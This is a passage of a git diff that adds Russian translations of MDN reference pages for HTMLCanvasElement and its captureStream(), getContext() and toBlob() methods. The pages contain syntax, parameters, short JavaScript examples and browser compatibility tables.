+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}{{unimplemented_inline(556743)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> &amp; <code>type="menu"</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("button") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html
new file mode 100644
index 0000000000..9240255f86
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html
@@ -0,0 +1,129 @@
+---
+title: HTMLCanvasElement.captureStream()
+slug: Web/API/HTMLCanvasElement/captureStream
+translation_of: Web/API/HTMLCanvasElement/captureStream
+---
+<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>HTMLCanvasElement</strong></code><strong><code>.captureStream()</code></strong> метод возвращает {{domxref("CanvasCaptureMediaStream")}}, который является видеозахватчиком (оцифровщиком) в реальном времени на поверхности canvas.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>frameRate</code> {{optional_inline}}</dt>
+ <dd>Число двойной точности с плавающей точкой, указывающее частоту захвата каждого фрейма. Если не установлено, новый фрейм будет захватываться каждый раз, как canvas изменится; <code>если установлено в 0</code>, будет захвачен один фрейм.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Ссылка на {{domxref("MediaStream")}} объект.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><strong>NotSupportedError</strong></span></font></dt>
+ <dd>Параметр <code>frameRate</code> имеет отрицательное значение.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">// Поиск элемента canvas для захвата
+var canvasElt = document.querySelector("canvas");
+
+// Получение потока
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// Делать что-то с потоком
+// например, отправить что-то другому компьютеру, используя RTCPeerConnection
+//      pc это RTCPeerConnection, созданное где-то еще
+pc.addStream(stream);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatGeckoDesktop(43)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(36.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatGeckoMobile(43)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox 41 and 42, this feature was disabled by default; set the preference <code>canvas.capturestream.enabled</code> to <code>true</code> to enable it.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{domxref("CanvasCaptureMediaStream")}}, the interface it belongs to.</li>
+ <li>{{domxref("HTMLMediaElement.captureStream()")}}, which allows capturing a stream from a media element.</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("Media Capture and Streams API")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/getcontext/index.html b/files/ru/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..3ac02908b7
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,270 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>Метод <strong><code>HTMLCanvasElement.getContext()</code></strong> возвращает контекст рисования на холсте, или {{jsxref("null")}}, если идентификатор контекста не определен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>canvas</em>.getContext(<em>contextType, contextAttributes</em>);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>contextType</dt>
+ <dd>{{domxref("DOMString")}}, содержащий идентификатор контекста, определяющий контекст рисования, связанный с холстом. Возможные значения:
+ <ul>
+  <li><code>"2d</code>", ведущий к созданию объекта {{domxref("CanvasRenderingContext2D")}}, представляющий двумерный контекст.</li>
+  <li><code>"webgl"</code> (или <code>"experimental-webgl"</code>), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).</li>
+  <li>"<code>webgl2</code>" (или "<code>experimental-webgl2</code>"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}</li>
+  <li><code>"bitmaprenderer",</code> который позволит создать {{domxref("ImageBitmapRenderingContext")}}, обеспечивающий только функции для замены содержимого холста с заданным {{domxref("ImageBitmap")}}.</li>
+ </ul>
+
+ <p>Примечание: Идентификаторы "<code>experimental-webgl</code>" или "<code>experimental-webgl2</code>" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе еще не стабильна The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>Вы можете использовать несколько атрибутов контекста при создании контекста рендеринга, например:</p>
+
+ <pre class="brush: js">canvas.getContext("webgl",
+                 { antialias: false,
+                   depth: false });</pre>
+ 2d атрибуты контекста:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Логическое значение, означающее, есть ли у холста альфа-канал. Значение <code>false</code> говорит браузеру, что фон холста непрозрачный, что может ускорить рисование прозрачного содержимого и изображений.</li>
+  <li>{{non-standard_inline}} (Gecko only) <strong><code>willReadFrequently</code></strong>: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag <code>gfx.canvas.willReadFrequently.enable</code> is set to <code>true</code> (which, by default, is only the case for B2G/Firefox OS).</li>
+  <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: String that indicates which storage is used ("persistent" by default).</li>
+ </ul>
+ Атрибуты контекста WebGL:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Boolean that indicates if the canvas contains an alpha buffer.</li>
+  <li><strong><code>depth</code></strong>: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.</li>
+  <li><strong><code>stencil</code></strong>: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.</li>
+  <li><strong><code>antialias</code></strong>: Boolean that indicates whether or not to perform anti-aliasing.</li>
+  <li><strong><code>premultipliedAlpha</code></strong>: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.</li>
+  <li><strong><code>preserveDrawingBuffer</code></strong>: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.</li>
+  <li>
+   <p><code><strong>failIfMajorPerformanceCaveat</strong></code>: Boolean that indicates if a context will be created if the system performance is low.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("RenderingContext")}}, который представляет собой</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} для <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} для <code>"webgl"</code> и <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} для <code>"webgl2"</code> и <code>"experimental-webgl2"</code>, или</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} для <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>Если contextType не соответствует возможному контексту рисунка, то возвращается null.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Given this {{HTMLElement("canvas")}} element:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>You can get a <code>2d</code> context of the canvas with the following code:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>Now you have the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D">2D rendering context</a> for a canvas and you can draw within it.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2d</code> context)</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(9)}}</td>
+   <td>{{CompatSafari(3.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatChrome(9)}}<sup>[1]</sup><br>
+    {{CompatChrome(33)}}</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop('24')}}</td>
+   <td>11.0<sup>[2]</sup></td>
+   <td>9.0<sup>[3]</sup></td>
+   <td>5.1<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>webgl2</code> context {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('25')}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>2d <code>alpha</code> context attribute</td>
+   <td>32</td>
+   <td>{{CompatGeckoDesktop(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>failIfMajorPerformanceCaveat</code> attribute</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>bitmaprenderer context</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2d</code> context)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl2</code> context {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>2d <code>alpha</code> context attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>failIfMajorPerformanceCaveat</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>bitmaprenderer context</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 9 and Gecko 1.9.2 initially implemented this as <code>experimental-webgl</code>. Since Chrome 33 and Gecko 24 it is implemented as the standard <code>webgl</code>.</p>
+
+<p>[2] Internet Explorer 11, WebKit 5.1 and Firefox Mobile implemented this as <code>experimental-webgl</code>.</p>
+
+<p>[3] Opera 9 implemented this as <code>experimental-webgl</code>, behind a user preference, in version 15.0 the user preference got removed.</p>
+
+<p>[4] Gecko 25 implements this as "<code>experimental-webgl2</code>" behind the user preference <code>webgl.enable-prototype-webgl2</code>. Starting with Gecko 42, the string "webgl2" is used behind the same preference.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}</li>
+ <li>Available rendering contexts: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} and {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/index.html b/files/ru/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..7a2b4d9d2c
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,247 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+tags:
+  - API
+  - Canvas
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p>Интерфейс <strong><code>HTMLCanvasElement</code></strong> предоставляет свойства и методы для управления расположением и представлением элеметов canvas. Он также наследует свойства и методы интерфейса {{domxref("HTMLElement")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследуются от родителя, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>Положительное целое число, отражающее HTML-атрибут {{htmlattrxref("height", "canvas")}} элемента {{HTMLElement("canvas")}} (воспринимается в пикселях CSS). Если атрибут не определён или имеет некорректное значение (например отрицательное), используется зачение по умолчанию  <code>— 150</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>Объект {{jsxref("Boolean")}}, отражающий HTML-атрибут {{htmlattrxref("moz-opaque", "canvas")}} элемента {{HTMLElement("canvas")}}. Сообщает холсту, будет ли присутствовать прозрачность. Если холсту известно, что прозрачность не используется, отрисовка может быть оптимизирована.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>Положительное целое число, отражающее HTML-атрибут {{htmlattrxref("width", "canvas")}} элемента {{HTMLElement("canvas")}} (воспринимается в пикселях CSS). Если атрибут не определён или имеет некорректное значение (например отрицательное), используется зачение по умолчанию  <code>— 300</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}</dt>
+ <dd>Is a <code>function</code> that is Initially null, Web content can set this to a JavaScript function that will be called if the page is printed. This function can then redraw the canvas at a higher resolution that is suitable for the printer being used. <a href="https://blog.mozilla.org/labs/2012/09/a-new-way-to-control-printing-output/">See this blog post.</a></dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследуются от родителя, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("CanvasCaptureMediaStream")}} — поток видео, которое захватывается в реальном времени с поверхности холста.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>Возвращает связный с холстом контекст, который позволяет рисовать на холсте. Если context ID не поддерживается, возвращает null. Вызов getContext с параметром <code>"2d"</code> возвращает объект {{domxref("CanvasRenderingContext2D")}}, тогда так вызов с параметром <code>"experimental-webgl"</code> (или <code>"webgl"</code>) возвращает объект {{domxref("WebGLRenderingContext")}}. Этот контекст поддерживается толко в браузерах, в которых реализован <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd>Возвращает data-URL, который содержит представление картинки в формате. указанном в параметре <code>type</code> (по умолчанию <code>png</code>). Возвращаемая картинка имеет разрешение 96dpi.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>Создаёт объект {{domxref("Blob")}}, представляющий картинку, которая содержится в холсте. Этот файл может быть кэширован на диске или сохранён в памяти наусмотрение user agent.</dd>
+ <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt>
+ <dd>Передаёт управление объекту {{domxref("OffscreenCanvas")}}, либо в main thread либо в worker.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает объект {{domxref("File")}} представляющий картинку, которая содержится в холсте. This file is a memory-based file, with the specified <code>name</code>. Если тип не указан, используется <code>image/png</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Adds the method <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The method <code>getContext()</code> now returns a {{domxref("RenderingContext")}} rather than an opaque <code>object</code>.<br>
+    The methods <code>probablySupportsContext()</code>, <code>setContext()</code> and <code>transferControlToProxy()</code>have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>50</td>
+   <td>{{CompatGeckoDesktop('19')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>50</td>
+   <td>{{CompatGeckoMobile('18')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 and later has partial support.</p>
+
+<p>[2] Support for the third parameter, has been added in Gecko 25 only: when used with the <code>"image/jpeg"</code> type, this argument specifies the image quality.</p>
+
+<p>[3] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/toblob/index.html b/files/ru/web/api/htmlcanvaselement/toblob/index.html
new file mode 100644
index 0000000000..56cd5c0369
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/toblob/index.html
@@ -0,0 +1,266 @@
+---
+title: HTMLCanvasElement.toBlob()
+slug: Web/API/HTMLCanvasElement/toBlob
+translation_of: Web/API/HTMLCanvasElement/toBlob
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>Метод <strong><code>HTMLCanvasElement.toBlob()</code></strong> создаёт объект {{domxref("Blob")}} представляющий изображение, содержащееся в <code>canvas</code>; этот файл может быть закеширован на диске или храниться в памяти на усмотрение пользователя (<em>at the discretion of the user agent</em>). Если параметр <code>mimeType</code> не определён, типом изображения считается <code>image/png</code>. Созданное изображение имеет разрешение 96dpi.</p>
+
+<p>Третий аргумент используется для изображений с MIME-типом <code>image/jpeg</code> для определения его качества.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
